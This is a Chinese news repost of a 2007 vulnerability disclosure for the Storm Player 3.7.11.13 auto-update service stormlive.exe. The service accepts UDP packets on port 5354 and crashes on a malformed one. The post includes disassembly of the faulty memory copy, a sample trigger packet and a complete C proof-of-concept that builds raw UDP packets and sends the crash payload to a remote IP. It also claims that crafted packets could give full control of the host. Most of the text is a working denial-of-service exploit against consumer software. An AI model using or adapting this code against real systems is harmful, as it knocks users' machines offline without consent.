传说中的《暴风影音3》新版本爆漏洞,这次很夸张,远程拒绝服务. 起因是暴风影音自动更新程序会在远程监听一个端口,如果向其发送畸形数据包,就会导致自动更新程序崩溃;如果对其发送精心构造过的数据包,则足以导致用户主机在不知情的情况下被完全控制. 以下是帖子全文:
CISVul20071128 暴风影音3.7.11.13 DOS Vul
|=----------------[ 暴风影音3.7.11.13 DOS Vulnerabilities ]-------=| |=-----------------------------------------------------------------=| |=---------------=[ TuTu<tutu@9.cn> ]=-----------------------------=| |=-----------------------------------------------------------------=| |=---------------=[ Copyright:www.cisrg.cn ]=----------------------=|
--] 介绍 暴风影音是一款播放软件,经过测试,暴风影音3.7.11.13存在一个远程DDOS漏洞。 官方网站:http://www.baofeng.com/
--] Author:TuTu
--] 漏洞分析
/*++ 暴风影音3 Build version : 3.7.11.13 Test version : 3.7.11.13,自从带了一个自动升级服务stormlive.exe之后, 会在本地开启一个UDP端口5354,向端口发送恶意封包可造成stormlive崩溃
0041DEE0 /$ 8B4424 08 mov eax, dword ptr [esp+8] 0041DEE4 |. 53 push ebx 0041DEE5 |. 8BD9 mov ebx, ecx 0041DEE7 |. 56 push esi 0041DEE8 |. 33C9 xor ecx, ecx 0041DEEA |. 57 push edi 0041DEEB |. 8943 08 mov dword ptr [ebx+8], eax 0041DEEE |. 6A 04 push 4 ; /size = 4 0041DEF0 |. C1E8 07 shr eax, 7 ; | 0041DEF3 |. 40 inc eax ; | 0041DEF4 |. 894B 04 mov dword ptr [ebx+4], ecx ; | 0041DEF7 |. C1E0 07 shl eax, 7 ; | 0041DEFA |. 50 push eax ; |nitems 0041DEFB |. 884B 10 mov byte ptr [ebx+10], cl ; | 0041DEFE |. C703 C0524300 mov dword ptr [ebx], 004352C0 ; | 0041DF04 |. 8943 0C mov dword ptr [ebx+C], eax ; | 0041DF07 |. FF15 78154300 call dword ptr [<&MSVCRT.calloc>] ; \calloc 0041DF0D |. 8B4B 08 mov ecx, dword ptr [ebx+8] 0041DF10 |. 8B7424 18 mov esi, dword ptr [esp+18] 0041DF14 |. C1E1 02 shl ecx, 2 0041DF17 |. 8943 04 mov dword ptr [ebx+4], eax 0041DF1A |. 8BF8 mov edi, eax 0041DF1C |. 8BC1 mov eax, ecx 0041DF1E |. 83C4 08 add esp, 8 0041DF21 |. C1E9 02 shr ecx, 2 0041DF24 |. F3:A5 rep movs dword ptr es:[edi], dword p> 溢出 0041DF26 |. 8BC8 mov ecx, eax 0041DF28 |. 83E1 03 and ecx, 3 0041DF2B |. F3:A4 rep movs byte ptr es:[edi], byte ptr> 0041DF2D |. 8BCB mov ecx, ebx 0041DF2F |. E8 3C140000 call 0041F370 0041DF34 |. 5F pop edi 0041DF35 |. 8BC3 mov eax, ebx 0041DF37 |. 5E pop esi 0041DF38 |. 5B pop ebx 0041DF39 \. C2 0800 retn 8
封包例子 00CAFF84 4B 55 44 50 01 00 55 55 55 00 55 55 55 00 KUDP .UUU.UUU. 由于没有对封包中取得的数据进行判断.数据超大导致申请内存失败,后面的内存数据复制导致异常.
--*/
--] exploit POC
#ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif
#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h>
#pragma comment(lib, "ws2_32")
// Set the packing to a 1 byte boundary #include <pshpack1.h>
// // Define the IPv4 header. Make the version and length field one // character since we can't declare two 4 bit fields without // the compiler aligning them on at least a 1 byte boundary. // typedef struct ip_hdr { unsigned char ip_verlen; // 4-bit IPv4 version // 4-bit header length (in 32-bit words) unsigned char ip_tos; // IP type of service unsigned short ip_totallength; // Total length unsigned short ip_id; // Unique identifier unsigned short ip_offset; // Fragment offset field unsigned char ip_ttl; // Time to live unsigned char ip_protocol; // Protocol(TCP,UDP etc) unsigned short ip_checksum; // IP checksum unsigned int ip_srcaddr; // Source address unsigned int ip_destaddr; // Source address } IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;
// // Define the UDP header // typedef struct udp_hdr { unsigned short src_portno; // Source port no. unsigned short dst_portno; // Dest. port no. unsigned short udp_length; // Udp packet length unsigned short udp_checksum; // Udp checksum (optional) } UDP_HDR, *PUDP_HDR;
// Restore the byte boundary back to the previous value #include <poppack.h> //
// Function: checksum // // Description: // This function calculates the 16-bit one's complement sum // for the supplied buffer. // USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0;
while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16);
return (USHORT)(~cksum); }
// // Function: InitIpv4Header // // Description: // Initialize the IPv4 header with the version, header length, // total length, ttl, protocol value, and source and destination // addresses. // int InitIpv4Header( char *buf, char *src, char *dest, int payloadlen ) { IPV4_HDR *v4hdr=NULL;
v4hdr = (IPV4_HDR *)buf;
v4hdr->ip_verlen = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long)); v4hdr->ip_tos = 0; v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen); v4hdr->ip_id = 0; v4hdr->ip_offset = 0; v4hdr->ip_ttl = 128; v4hdr->ip_protocol = 0x11; v4hdr->ip_checksum = 0; v4hdr->ip_srcaddr = inet_addr(src); v4hdr->ip_destaddr = inet_addr(dest);
v4hdr->ip_checksum = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR)); return sizeof(IPV4_HDR); }
// // Function: ComputeUdpPseudoHeaderChecksumV4 // // Description: // Compute the UDP pseudo header checksum. The UDP checksum is based // on the following fields: // o source IP address // o destination IP address // o 8-bit zero field // o 8-bit protocol field // o 16-bit UDP length // o 16-bit source port // o 16-bit destination port // o 16-bit UDP packet length // o 16-bit UDP checksum (zero) // o UDP payload (padded to the next 16-bit boundary) // This routine copies these fields to a temporary buffer and computes // the checksum from that. // void ComputeUdpPseudoHeaderChecksumV4( void *iphdr, UDP_HDR *udphdr, char *payload, int payloadlen ) { IPV4_HDR *v4hdr=NULL; unsigned long zero=0; char buf[0x10000], *ptr=NULL; int chksumlen=0, i; ptr = buf;
v4hdr = (IPV4_HDR *)iphdr;
// Include the source and destination IP addresses memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr)); ptr += sizeof(v4hdr->ip_srcaddr); chksumlen += sizeof(v4hdr->ip_srcaddr);
memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr)); ptr += sizeof(v4hdr->ip_destaddr); chksumlen += sizeof(v4hdr->ip_destaddr); // Include the 8 bit zero field memcpy(ptr, &zero, 1); ptr++; chksumlen += 1;
// Protocol memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol)); ptr += sizeof(v4hdr->ip_protocol); chksumlen += sizeof(v4hdr->ip_protocol);
// UDP length memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length)); ptr += sizeof(udphdr->udp_length); chksumlen += sizeof(udphdr->udp_length); // UDP source port memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno)); ptr += sizeof(udphdr->src_portno); chksumlen += sizeof(udphdr->src_portno);
// UDP destination port memcpy(ptr, &udphdr->dst_portno, sizeof(udphdr->dst_portno)); ptr += sizeof(udphdr->dst_portno); chksumlen += sizeof(udphdr->dst_portno);
// UDP length again memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length)); ptr += sizeof(udphdr->udp_length); chksumlen += sizeof(udphdr->udp_length); // 16-bit UDP checksum, zero memcpy(ptr, &zero, sizeof(unsigned short)); ptr += sizeof(unsigned short); chksumlen += sizeof(unsigned short);
// payload memcpy(ptr, payload, payloadlen); ptr += payloadlen; chksumlen += payloadlen;
// pad to next 16-bit boundary for(i=0 ; i < payloadlen%2 ; i++, ptr++) { printf("pad one byte\n"); *ptr = 0; ptr++; chksumlen++; }
// Compute the checksum and put it in the UDP header udphdr->udp_checksum = checksum((USHORT *)buf, chksumlen);
return; }
// // Function: InitUdpHeader // // Description: // Setup the UDP header which is fairly simple. Grab the ports and // stick in the total payload length. // int InitUdpHeader( char *buf, int srcprt, int dstprt, int payloadlen ) { UDP_HDR *udphdr=NULL;
udphdr = (UDP_HDR *)buf; udphdr->src_portno = htons(srcprt); udphdr->dst_portno = htons(dstprt); udphdr->udp_length = htons(sizeof(UDP_HDR) + payloadlen);
return sizeof(UDP_HDR); }
// // Function: sendudp // // Description: // Send the udp packets with RAW SOCKET // int sendudp(char *srcip, char *dstip, int srcprt, int dstprt, char *buf, int bufsize) { WSADATA wsd; SOCKET s; char sendbuf[0x10000]={0}; int iphdrlen, allsize, udphdrlen; int optlevel, option, optval, rc; SOCKADDR_IN ReceiverAddr;
ReceiverAddr.sin_family = AF_INET; ReceiverAddr.sin_port = htons(dstprt); ReceiverAddr.sin_addr.s_addr = inet_addr(dstip); allsize = sizeof(IPV4_HDR) + sizeof(UDP_HDR) + bufsize; if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) { printf("WSAStartup() failed: %d\n", GetLastError()); return -1; }
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (s == INVALID_SOCKET) { fprintf(stderr, "socket failed: %d\n", WSAGetLastError()); return -1; }
// Enable the IP header include option optval = 1; optlevel = IPPROTO_IP; option = IP_HDRINCL; rc = setsockopt(s, optlevel, option, (char *)&optval, sizeof(optval)); if (rc == SOCKET_ERROR) { fprintf(stderr, "setsockopt: IP_HDRINCL failed: %d\n", WSAGetLastError()); return -1; }
// Initialize the v4 header iphdrlen = InitIpv4Header( sendbuf, srcip, dstip, bufsize );
// Initialize the UDP header udphdrlen = InitUdpHeader( &sendbuf[iphdrlen], srcprt, dstprt, bufsize );
// Compute the UDP checksum ComputeUdpPseudoHeaderChecksumV4( sendbuf, (UDP_HDR *)&sendbuf[iphdrlen], buf, bufsize );
// Copy the payload to the end of the header memcpy(&sendbuf[iphdrlen + udphdrlen], buf, bufsize);
rc = sendto( s, sendbuf, allsize, 0, (const struct sockaddr*)&ReceiverAddr, sizeof(ReceiverAddr) ); if (rc == SOCKET_ERROR) { printf("sendto() failed: %d\n", WSAGetLastError()); } else { printf("sent %d bytes\n", rc); } closesocket(s) ; WSACleanup() ;
return 0; }
int main(int argc, char **argv) { if (argc < 3) { printf("%s <LOCAL ip> <Remote ip>\n", argv[0]); return 0; }
printf("\n 暴风影音3 stormlive.exe DDOS \n"); printf("www.CISRG.cn \n"); printf("E-mail: tutu@9.cn\n"); printf("Copyright (c) 2007 .: Tutu :.\n");
sendudp(argv[1], argv[2], 5354, 5354, "KUDP\x01\x00\x55\x55\x55\x00\x55\x55\x55\x00", 14); getchar(); return 0; }
|